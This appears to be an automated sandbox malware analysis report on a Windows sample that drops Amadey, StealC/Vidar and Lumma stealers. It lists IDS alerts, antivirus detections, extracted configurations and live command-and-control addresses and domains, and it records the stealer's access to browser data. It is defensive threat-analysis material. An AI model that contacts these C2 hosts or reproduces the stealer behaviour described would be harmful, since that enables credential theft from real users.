2024-10-26T05:54:49.344437+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49745	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T05:54:13.090457+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49736	104.21.95.91	443	TCP
2024-10-26T05:55:35.926688+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49945	104.21.95.91	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T05:54:48.694384+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:55:45.024281+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50002	185.215.113.206	80	TCP
2024-10-26T05:56:01.885386+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50050	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T05:55:06.629341+0200	2856147	1	A Network Trojan was detected	192.168.2.4	49781	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T05:55:29.169741+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49797	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T05:55:09.959461+0200	2803305	3	Unknown Traffic	192.168.2.4	49803	185.215.113.16	80	TCP
2024-10-26T05:55:31.035357+0200	2803305	3	Unknown Traffic	192.168.2.4	49921	185.215.113.16	80	TCP
2024-10-26T05:55:46.091039+0200	2803305	3	Unknown Traffic	192.168.2.4	50011	185.215.113.16	80	TCP
2024-10-26T05:55:55.637075+0200	2803305	3	Unknown Traffic	192.168.2.4	50039	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T05:54:50.969279+0200	2803304	3	Unknown Traffic	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:55:02.258110+0200	2803304	3	Unknown Traffic	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:55:06.167819+0200	2803304	3	Unknown Traffic	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:55:09.783300+0200	2803304	3	Unknown Traffic	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:55:12.466547+0200	2803304	3	Unknown Traffic	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:55:23.996720+0200	2803304	3	Unknown Traffic	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:55:25.738019+0200	2803304	3	Unknown Traffic	192.168.2.4	49745	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\UDUFEWZ4SDVC5XI69Q6Z0RB48.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000007.00000003.2308287602.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 26.2.b0b9f39429.exe.ba0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}
Source: 26.2.b0b9f39429.exe.ba0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}
Source: e192e43b61.exe.1340.11.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["crisiwarny.store", "scriptyprefej.store", "navygenerayk.store", "necklacedmny.store", "presticitpo.store", "thumbystriw.store", "fadehairucw.store", "founpiuer.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.16/off/def.exe

Virustotal: Detection: 19%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\UDUFEWZ4SDVC5XI69Q6Z0RB48.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 42%			Perma Link
Source: file.exe	ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\UDUFEWZ4SDVC5XI69Q6Z0RB48.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C66A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	6_2_6C66A9A0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C664440 PK11_PrivDecrypt,	6_2_6C664440
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C634420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	6_2_6C634420
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6644C0 PK11_PubEncrypt,	6_2_6C6644C0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6B25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	6_2_6C6B25B0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C648670 PK11_ExportEncryptedPrivKeyInfo,	6_2_6C648670
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C66A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	6_2_6C66A650
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C64E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	6_2_6C64E6E0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C68A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	6_2_6C68A730
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C690180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	6_2_6C690180
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6643B0 PK11_PubEncryptPKCS1,PR_SetError,	6_2_6C6643B0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C687C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	6_2_6C687C00
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C647D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	6_2_6C647D60
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C68BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	6_2_6C68BD30
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C689EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	6_2_6C689EC0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C663FF0 PK11_PrivDecryptPKCS1,	6_2_6C663FF0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C669840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	6_2_6C669840
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C663850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	6_2_6C663850

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50062 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2617552023.000000006F89D000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: nss3.pdb@ source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: nss3.pdb source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: DHMGC7TXSIK31JTC83MV8ND88A.exe, 00000008.00000002.2447177544.0000000000192000.00000040.00000001.01000000.0000000B.sdmp, DHMGC7TXSIK31JTC83MV8ND88A.exe, 00000008.00000003.2314064013.0000000004E40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2617552023.000000006F89D000.00000002.00000001.01000000.0000000F.sdmp

Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Directory queried: number of queries: 2130

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 93MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49745 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49745 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49745
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49745 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49745
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49745 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49781 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49797
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49915 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50003 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50002 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50038 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50049 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50050 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49740 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49736 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49945 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49916 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49916 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49927 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49927 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49985 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49985 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49994 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49994 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50020 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50033 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50033 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50035 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50035 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50062 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50052 -> 104.21.95.91:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: http://185.215.113.206/e2b1563c6670f193.php
Source: Malware configuration extractor	IPs: 185.215.113.43

